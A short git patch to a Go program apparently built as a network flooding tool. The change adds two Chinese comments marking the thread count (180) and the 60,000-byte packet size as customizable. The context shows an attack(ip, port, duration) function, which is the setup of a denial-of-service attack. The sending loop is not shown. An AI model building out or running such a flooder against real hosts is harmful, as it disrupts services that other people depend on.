From 3b6a447c4ba9db04e9473857bdd2aff6a21873d9 Mon Sep 17 00:00:00 2001 From: RandyColin <44502154+randycolin@users.noreply.github.com> Date: Wed, 17 Jan 2024 22:26:38 +0800 Subject: [PATCH] Update Gofuck.go --- Gofuck.go | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Gofuck.go b/Gofuck.go index c542934..6e8a9f0 100644 --- a/Gofuck.go +++ b/Gofuck.go @@ -7,9 +7,10 @@ import ( "strconv" "time" ) - -const THREADS = 180 +// 定义线程数,可自定义 +const THREADS = 180 func attack(ip string, port int, duration int) { + // 定义包字节,可自定义 bytes := make([]byte, 60000) startTime := time.Now() endTime := startTime.Add(time.Duration(duration) * time.Second)